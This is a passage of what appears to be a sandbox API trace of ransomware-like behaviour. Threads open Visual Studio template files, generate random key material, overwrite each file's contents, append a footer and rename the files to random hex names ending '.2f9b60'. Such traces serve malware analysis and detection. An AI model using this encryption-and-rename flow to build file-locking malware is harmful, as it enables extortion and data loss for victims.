8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5.2f9b60" [0236.012] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5.2f9b60", NtPathName=0x295dfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\e7b99c174be5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x169d50 Thread: id = 3784 os_tid = 0x22f0 [0227.629] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip")) returned 0x20 [0228.249] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip", dwFileAttributes=0x20) returned 1 [0228.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\DataSet.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\dataset.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xec0 [0228.251] GetFileSizeEx (in: hFile=0xec0, lpFileSize=0x24c0fd60 | out: lpFileSize=0x24c0fd60*=1177) returned 1 [0228.251] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x495, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.251] ReadFile (in: hFile=0xec0, lpBuffer=0x24c0fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24c0fd28, lpOverlapped=0x0 | out: lpBuffer=0x24c0fce0*, lpNumberOfBytesRead=0x24c0fd28*=0x4, lpOverlapped=0x0) returned 1 [0228.448] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0228.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1cd0 [0228.449] NtQuerySystemTime (in: CurrentTime=0x24c0fc20 | out: CurrentTime=0x24c0fc20*=132462178324474000) returned 0x0 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x1fb5f98f [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x504b9f92 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x786c377d [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x4059ced2 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x2b8ffda5 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x57a83a85 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x11152b19 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x635dbe43 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x1c28dab2 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x1d151b2d [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x2f2a9e65 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x5cae4e6c [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x5517ae07 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x485259d8 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x4e7e8bc1 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x704ddfd6 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x701b5455 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x5dc0e0f7 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x7d498bf8 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x2100c88 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x2ab4d4d6 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x60fda415 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x1c4fe021 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x69f5319f [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x673e78af [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x6842d20d [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x74841695 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x558e79f1 [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x7fab188f [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0xf44409c [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0x3250a59b [0228.449] RtlRandomEx (in: Seed=0x24c0fc10 | out: Seed=0x24c0fc10) returned 0xc412744 [0228.457] ReadFile (in: hFile=0xec0, lpBuffer=0x41cc4990, nNumberOfBytesToRead=0x499, lpNumberOfBytesRead=0x24c0fc10, lpOverlapped=0x0 | out: lpBuffer=0x41cc4990*, lpNumberOfBytesRead=0x24c0fc10*=0x499, lpOverlapped=0x0) returned 1 [0228.457] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.457] WriteFile (in: hFile=0xec0, lpBuffer=0x41c93cc0*, nNumberOfBytesToWrite=0x499, lpNumberOfBytesWritten=0x24c0fc14, lpOverlapped=0x0 | out: lpBuffer=0x41c93cc0*, lpNumberOfBytesWritten=0x24c0fc14*=0x499, lpOverlapped=0x0) returned 1 [0233.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e650 [0233.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d840 [0233.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d840) returned 1 [0233.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c93cc0) returned 1 [0233.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc4990) returned 1 [0233.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cfc0) returned 1 [0233.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62b40) returned 1 [0233.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x2050d840 [0233.380] SetFilePointerEx (in: hFile=0xec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.380] WriteFile (in: hFile=0xec0, lpBuffer=0x431a8940*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x24c0fd30, lpOverlapped=0x0 | out: lpBuffer=0x431a8940*, lpNumberOfBytesWritten=0x24c0fd30*=0x108, lpOverlapped=0x0) returned 1 [0235.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ce0 [0235.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3ce0) returned 1 [0235.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0235.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ce0 [0235.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a36e0 [0235.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a36e0) returned 1 [0235.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fb70 [0235.788] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="ef") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="26") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="11") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="c6") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="c7") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="0f") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="25") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="98") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.788] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="65") returned 2 [0235.789] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="dc") returned 2 [0235.789] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="01") returned 2 [0235.789] RtlInitAnsiString (in: DestinationString=0x24c0fda8, SourceString="9cb4ef7bc8e32611c6adc75a0f2598e4b71c8b65dc01" | out: DestinationString="9cb4ef7bc8e32611c6adc75a0f2598e4b71c8b65dc01") [0235.789] RtlAnsiStringToUnicodeString (in: DestinationString=0x24c0fd78, SourceString="9cb4ef7bc8e32611c6adc75a0f2598e4b71c8b65dc01", AllocateDestinationString=1 | out: DestinationString="9cb4ef7bc8e32611c6adc75a0f2598e4b71c8b65dc01") returned 0x0 [0235.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4310ec60 [0235.789] wcscat (in: _Dest=0x423aa740, _Source="9cb4ef7bc8e" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e" [0235.789] wcscat (in: _Dest=0x423aa740, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e.2f9b60" [0235.789] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e.2f9b60", NtPathName=0x24c0fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\9cb4ef7bc8e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431a8940 Thread: id = 3785 os_tid = 0xce4 [0227.630] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip")) returned 0x20 [0228.252] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip", dwFileAttributes=0x20) returned 1 [0228.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\emptydatabase.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1550 [0228.253] GetFileSizeEx (in: hFile=0x1550, lpFileSize=0x243cfde0 | out: lpFileSize=0x243cfde0*=833) returned 1 [0228.253] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x33d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.253] ReadFile (in: hFile=0x1550, lpBuffer=0x243cfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x243cfda8, lpOverlapped=0x0 | out: lpBuffer=0x243cfd60*, lpNumberOfBytesRead=0x243cfda8*=0x4, lpOverlapped=0x0) returned 1 [0228.439] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a00 [0228.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0228.440] NtQuerySystemTime (in: CurrentTime=0x243cfca0 | out: CurrentTime=0x243cfca0*=132462178324318000) returned 0x0 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x2dfaac64 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x51707db0 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x30d42842 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x46172958 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x455c33a [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x445fe0b5 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x1ce8b5bd [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x1edd30e7 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x22cc8df3 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x3550580d [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x46cbdd61 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x3749a799 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x71a9c666 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x48aa28f4 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x710bc57d [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x6fae8a9 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x6d5121c9 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x7915cbbe [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x7bbe7c1e [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x79af74f6 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x72a925f7 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x1a8642a8 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x223d093e [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x60fda415 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x31423300 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x86418e9 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x79af74f6 [0228.440] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x48aa28f4 [0228.441] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x2e2a763c [0228.441] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x31f07c47 [0228.441] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x772c99b6 [0228.441] RtlRandomEx (in: Seed=0x243cfc90 | out: Seed=0x243cfc90) returned 0x7d1742be [0228.448] ReadFile (in: hFile=0x1550, lpBuffer=0x41cbd170, nNumberOfBytesToRead=0x341, lpNumberOfBytesRead=0x243cfc90, lpOverlapped=0x0 | out: lpBuffer=0x41cbd170*, lpNumberOfBytesRead=0x243cfc90*=0x341, lpOverlapped=0x0) returned 1 [0228.448] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.448] WriteFile (in: hFile=0x1550, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x341, lpNumberOfBytesWritten=0x243cfc94, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x243cfc94*=0x341, lpOverlapped=0x0) returned 1 [0233.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0a0 [0233.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e920 [0233.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e920) returned 1 [0233.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0233.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cbd170) returned 1 [0233.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cf40) returned 1 [0233.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61790) returned 1 [0233.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431adde0 [0233.411] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.411] WriteFile (in: hFile=0x1550, lpBuffer=0x42c14cf0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x243cfdb0, lpOverlapped=0x0 | out: lpBuffer=0x42c14cf0*, lpNumberOfBytesWritten=0x243cfdb0*=0x114, lpOverlapped=0x0) returned 1 [0235.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1370 [0235.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1370) returned 1 [0235.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a1370 [0235.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3560 [0235.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0235.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3500) returned 1 [0235.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97b70 [0235.850] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="56") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="49") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="12") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="24") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="11") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="e6") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="f2") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="53") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.850] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="55") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="32") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="c4") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="40") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="77") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="7a") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="0b") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="3d") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="47") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97bb0, _Format="%c%c" | out: _Dest="86") returned 2 [0235.851] sprintf (in: _Dest=0x1cd97bb2, _Format="%c%c" | out: _Dest="67") returned 2 [0235.851] RtlInitAnsiString (in: DestinationString=0x243cfe28, SourceString="56499f122411e6f253a5d455328efbc440eea877eed97afb2d9e0bee3d477df78667" | out: DestinationString="56499f122411e6f253a5d455328efbc440eea877eed97afb2d9e0bee3d477df78667") [0235.851] RtlAnsiStringToUnicodeString (in: DestinationString=0x243cfdf8, SourceString="56499f122411e6f253a5d455328efbc440eea877eed97afb2d9e0bee3d477df78667", AllocateDestinationString=1 | out: DestinationString="56499f122411e6f253a5d455328efbc440eea877eed97afb2d9e0bee3d477df78667") returned 0x0 [0235.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43188520 [0235.852] wcscat (in: _Dest=0x1b78e880, _Source="56499f122411e6f25" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25" [0235.852] wcscat (in: _Dest=0x1b78e880, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25.2f9b60" [0235.852] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25.2f9b60", NtPathName=0x243cfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\56499f122411e6f25.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1cebcad0 Thread: id = 3786 os_tid = 0xc58 [0227.631] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" 